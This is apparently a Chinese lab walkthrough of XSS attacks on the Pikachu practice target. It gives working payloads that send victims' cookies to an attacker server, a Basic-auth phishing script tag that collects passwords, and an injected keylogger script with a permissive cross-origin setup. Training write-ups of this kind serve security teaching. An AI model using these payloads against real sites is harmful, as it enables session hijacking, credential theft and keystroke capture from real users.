XSS 跨站脚本攻击:获取键盘记录
将进行下图 3 个实验,更好的来理解 xss 的危害和原理

先去修改下 Pikachu 靶机中的,cookie.php 修改成自己的 ip

实验 1:xss 如何获取 cookie?

只需要将 Pikachu 靶机中的 pkxss 文件复制到攻击机中的站点(www)下即可。
登入下


默认没任何数据

1.1 GET 型 XSS 利用:cookie 获取
先将字符长度的限制给修改掉

pkxss 后台:
http://192.168.43.117/pkxss/pkxss_login.php
现在是没任何数据的

在输入框中输入下面语句,输入完后会重定向到 Pikachu 的首页
<script>document.location = 'http://192.168.43.117/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

刷新 pkxss 后台

在实际的场景中我们可以把 红框选中的 url 发送给用户,一旦他访问啦这个链接,我们便会获得他的 cookie 值

上面我们做的 GET 型 XSS 的利用,下面我们来演示
① 200 多本网络安全系列电子书
② 网络安全标准题库资料
③ 项目源码
④ 网络安全基础入门、Linux、web 安全、攻防方面的视频
⑤ 网络安全学习路线图
1.2 POST 型 XSS 的利用:cookie 获取
首先我们先来查看下,post(xss)的情况,登入下,用户:admin,密码:123456,,提交参数,并抓包

我们可以看到它并没有在 url 里传递参数

抓包,分析。
通过 post 方式传到后台的。虽然这里也存在 xss,但请求是 post 方式发送的,我们无法将恶意代码直接嵌到 url 中发送给目标

这种情况下应该怎么弄?
攻击者伪造表单自动提交页面
原理图(红框选中部分和上面的 get 型原理是一样的),

接下来我们看下让用户访问的,伪造表单自动提交页面(在 Pikachu 中的 pkxss 下的 xcookie 下的 post.html)
并修改漏洞页面为自己 Pikachu 靶机的 ip,pkxss 后台为自己的 ip。为了方便也可以,将漏洞页面和 pkxss 搭建在一台主机上。
修改完后记得先去重启下 phpstudy 服务(如何用的别的软件,都一样,重启下环境服务就行)

修改完后,复制到,其他主机站点(www)下。
模拟的恶意站点:
http://192.168.43.118/post.html
当有用户点这个链接时,,就会实现我们的攻击目的。
实验 2:钓鱼攻击
思路:在一个存在 xss 漏洞上的页面上嵌入一个链接请求,请求会返回一个 Basic 认证的一个头部。
若用户信息安全意识不够,输入了用户和密码,那么这些会被发送到 pkxss 后台
我们的实验用 存储型 xss 模块演示

我们只需要在这个存储型的页面上去,嵌入一个能够访问我们后台的返回 Basic 认证的标签就行,
这里可以用 a 标签、img、<script>
<img src="http://192.168.43.117/pkxss/xfish/fish.php" />
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>
查看下 fish.php 源码,其中 location(重定向)换成自己的 ip

和我们之前获取 cookie 一样,钓鱼的后台也有个接口(xfish.php)
获取远程的数据,通过 get 方式去获取账号密码存到库里面。

返回输入框,输入(其实里面没有什么内容,只是用 src 调用我们的远端 php 文件)
<script src="http://192.168.43.117/pkxss/xfish/fish.php"></script>

若输入了账号和密码,去 pkxss 后台可查看

实验 3:xss 获取键盘记录
在实验前,我们先了解下什么是跨越


为什么要有同源策略:
A 登入了淘宝,攻击者向 A 发送了一个恶意链接 urlb:http://www.giao 你 cookie.com
如果没有同源策略不用 xss 和其他漏洞就能读你的 cookie 信息,即 urlb 上的 js 可以操作 A 的内容(如:获取 cookie 等)
有啦同源策略(所有的浏览器共同约定的同源策略),就限制啦这种情况
再比如:
一个恶意站点 A 上使用啦<iframe src= "B 站点登陆页面" > ,发送该恶意 url 到攻击对象,攻击对象登陆后如果,没有同源策略,
则 A 上的 JS 即可获取 B 站点的登录信息。
开始实验
我们仍然是用存储型 xss 来演示,先看下 pkxss 后台的键盘记录

修改 ip,ip 为自己 pkxss 后台的 ip 地址

返回输入框,
<script src= "http://192.168.43.117/pkxss/rkeypress/rk.js"></script>
这一策略就违反啦同源策略,(ajax)
打开浏览器控制台

随着键盘的输入,会显示错误。(当然这时,pkxss 后台也是没有键盘记录的)

由于 192.168.43.117/pkxss/rkeypress/rkserver.php 是攻击者自己搭建的,
攻击者可以允许所有的人跨域请求他,因为这个网站是攻击者自己的,
为了实现攻击目的,可以 rkserver.php 把里面的 Access-Control 允许所有人访问。
这样的话,存在 xss 漏洞的页面调 js 跨越请求…43.117 的时候就可以正常访问啦。

改完,在页面输入后,pkxss 后台会有键盘记录。
评论